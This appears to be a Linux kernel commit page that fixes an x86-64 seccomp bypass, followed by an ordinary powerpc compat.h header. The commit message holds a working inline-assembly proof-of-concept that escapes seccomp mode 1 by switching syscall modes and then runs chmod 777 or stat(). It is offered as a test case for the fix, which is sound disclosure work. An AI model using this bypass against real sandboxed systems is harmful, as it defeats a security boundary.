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5b1017404a
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call. A 64-bit process make a 32-bit system call with int $0x80.
In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table. The fix is simple: test TS_COMPAT
instead of TIF_IA32. Here is an example exploit:
/* test case for seccomp circumvention on x86-64
There are two failure modes: compile with -m64 or compile with -m32.
The -m64 case is the worst one, because it does "chmod 777 ." (could
be any chmod call). The -m32 case demonstrates it was able to do
stat(), which can glean information but not harm anything directly.
A buggy kernel will let the test do something, print, and exit 1; a
fixed kernel will make it exit with SIGKILL before it does anything.
*/
#define _GNU_SOURCE
#include <assert.h>
#include <inttypes.h>
#include <stdio.h>
#include <linux/prctl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <asm/unistd.h>
int
main (int argc, char **argv)
{
char buf[100];
static const char dot[] = ".";
long ret;
unsigned st[24];
if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");
#ifdef __x86_64__
assert ((uintptr_t) dot < (1UL << 32));
asm ("int $0x80 # %0 <- %1(%2 %3)"
: "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
ret = snprintf (buf, sizeof buf,
"result %ld (check mode on .!)\n", ret);
#elif defined __i386__
asm (".code32\n"
"pushl %%cs\n"
"pushl $2f\n"
"ljmpl $0x33, $1f\n"
".code64\n"
"1: syscall # %0 <- %1(%2 %3)\n"
"lretl\n"
".code32\n"
"2:"
: "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
if (ret == 0)
ret = snprintf (buf, sizeof buf,
"stat . -> st_uid=%u\n", st[7]);
else
ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
#else
# error "not this one"
#endif
write (1, buf, ret);
syscall (__NR_exit, 1);
return 2;
}
Signed-off-by: Roland McGrath <roland@redhat.com>
[ I don't know if anybody actually uses seccomp, but it's enabled in
at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
220 lines
4.7 KiB
C
220 lines
4.7 KiB
C
#ifndef _ASM_POWERPC_COMPAT_H
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#define _ASM_POWERPC_COMPAT_H
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#ifdef __KERNEL__
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/*
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* Architecture specific compatibility types
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*/
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#include <linux/types.h>
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#include <linux/sched.h>
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#define COMPAT_USER_HZ 100
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typedef u32 compat_size_t;
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typedef s32 compat_ssize_t;
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typedef s32 compat_time_t;
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typedef s32 compat_clock_t;
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typedef s32 compat_pid_t;
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typedef u32 __compat_uid_t;
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typedef u32 __compat_gid_t;
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typedef u32 __compat_uid32_t;
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typedef u32 __compat_gid32_t;
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typedef u32 compat_mode_t;
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typedef u32 compat_ino_t;
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typedef u32 compat_dev_t;
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typedef s32 compat_off_t;
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typedef s64 compat_loff_t;
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typedef s16 compat_nlink_t;
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typedef u16 compat_ipc_pid_t;
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typedef s32 compat_daddr_t;
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typedef u32 compat_caddr_t;
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typedef __kernel_fsid_t compat_fsid_t;
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typedef s32 compat_key_t;
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typedef s32 compat_timer_t;
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typedef s32 compat_int_t;
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typedef s32 compat_long_t;
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typedef s64 compat_s64;
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typedef u32 compat_uint_t;
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typedef u32 compat_ulong_t;
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typedef u64 compat_u64;
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struct compat_timespec {
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compat_time_t tv_sec;
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s32 tv_nsec;
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};
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struct compat_timeval {
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compat_time_t tv_sec;
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s32 tv_usec;
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};
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struct compat_stat {
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compat_dev_t st_dev;
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compat_ino_t st_ino;
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compat_mode_t st_mode;
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compat_nlink_t st_nlink;
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__compat_uid32_t st_uid;
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__compat_gid32_t st_gid;
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compat_dev_t st_rdev;
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compat_off_t st_size;
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compat_off_t st_blksize;
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compat_off_t st_blocks;
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compat_time_t st_atime;
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u32 st_atime_nsec;
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compat_time_t st_mtime;
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u32 st_mtime_nsec;
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compat_time_t st_ctime;
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u32 st_ctime_nsec;
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u32 __unused4[2];
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};
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struct compat_flock {
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short l_type;
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short l_whence;
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compat_off_t l_start;
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compat_off_t l_len;
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compat_pid_t l_pid;
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};
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#define F_GETLK64 12 /* using 'struct flock64' */
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#define F_SETLK64 13
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#define F_SETLKW64 14
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struct compat_flock64 {
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short l_type;
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short l_whence;
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compat_loff_t l_start;
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compat_loff_t l_len;
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compat_pid_t l_pid;
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};
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struct compat_statfs {
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int f_type;
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int f_bsize;
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int f_blocks;
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int f_bfree;
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int f_bavail;
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int f_files;
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int f_ffree;
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compat_fsid_t f_fsid;
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int f_namelen; /* SunOS ignores this field. */
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int f_frsize;
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int f_spare[5];
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};
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#define COMPAT_RLIM_OLD_INFINITY 0x7fffffff
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#define COMPAT_RLIM_INFINITY 0xffffffff
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typedef u32 compat_old_sigset_t;
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#define _COMPAT_NSIG 64
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#define _COMPAT_NSIG_BPW 32
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typedef u32 compat_sigset_word;
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#define COMPAT_OFF_T_MAX 0x7fffffff
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#define COMPAT_LOFF_T_MAX 0x7fffffffffffffffL
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/*
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* A pointer passed in from user mode. This should not
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* be used for syscall parameters, just declare them
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* as pointers because the syscall entry code will have
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* appropriately converted them already.
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*/
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typedef u32 compat_uptr_t;
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static inline void __user *compat_ptr(compat_uptr_t uptr)
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{
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return (void __user *)(unsigned long)uptr;
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}
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static inline compat_uptr_t ptr_to_compat(void __user *uptr)
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{
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return (u32)(unsigned long)uptr;
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}
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static inline void __user *compat_alloc_user_space(long len)
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{
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struct pt_regs *regs = current->thread.regs;
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unsigned long usp = regs->gpr[1];
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/*
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* We cant access below the stack pointer in the 32bit ABI and
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* can access 288 bytes in the 64bit ABI
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*/
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if (!(test_thread_flag(TIF_32BIT)))
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usp -= 288;
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return (void __user *) (usp - len);
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}
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/*
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* ipc64_perm is actually 32/64bit clean but since the compat layer refers to
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* it we may as well define it.
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*/
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struct compat_ipc64_perm {
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compat_key_t key;
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__compat_uid_t uid;
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__compat_gid_t gid;
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__compat_uid_t cuid;
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__compat_gid_t cgid;
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compat_mode_t mode;
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unsigned int seq;
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unsigned int __pad2;
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unsigned long __unused1; /* yes they really are 64bit pads */
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unsigned long __unused2;
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};
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struct compat_semid64_ds {
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struct compat_ipc64_perm sem_perm;
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unsigned int __unused1;
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compat_time_t sem_otime;
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unsigned int __unused2;
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compat_time_t sem_ctime;
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compat_ulong_t sem_nsems;
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compat_ulong_t __unused3;
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compat_ulong_t __unused4;
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};
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struct compat_msqid64_ds {
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struct compat_ipc64_perm msg_perm;
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unsigned int __unused1;
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compat_time_t msg_stime;
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unsigned int __unused2;
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compat_time_t msg_rtime;
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unsigned int __unused3;
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compat_time_t msg_ctime;
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compat_ulong_t msg_cbytes;
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compat_ulong_t msg_qnum;
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compat_ulong_t msg_qbytes;
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compat_pid_t msg_lspid;
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compat_pid_t msg_lrpid;
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compat_ulong_t __unused4;
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compat_ulong_t __unused5;
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};
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struct compat_shmid64_ds {
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struct compat_ipc64_perm shm_perm;
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unsigned int __unused1;
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compat_time_t shm_atime;
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unsigned int __unused2;
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compat_time_t shm_dtime;
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unsigned int __unused3;
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compat_time_t shm_ctime;
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unsigned int __unused4;
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compat_size_t shm_segsz;
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compat_pid_t shm_cpid;
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compat_pid_t shm_lpid;
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compat_ulong_t shm_nattch;
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compat_ulong_t __unused5;
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compat_ulong_t __unused6;
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};
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static inline int is_compat_task(void)
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{
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return test_thread_flag(TIF_32BIT);
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}
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#endif /* __KERNEL__ */
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#endif /* _ASM_POWERPC_COMPAT_H */
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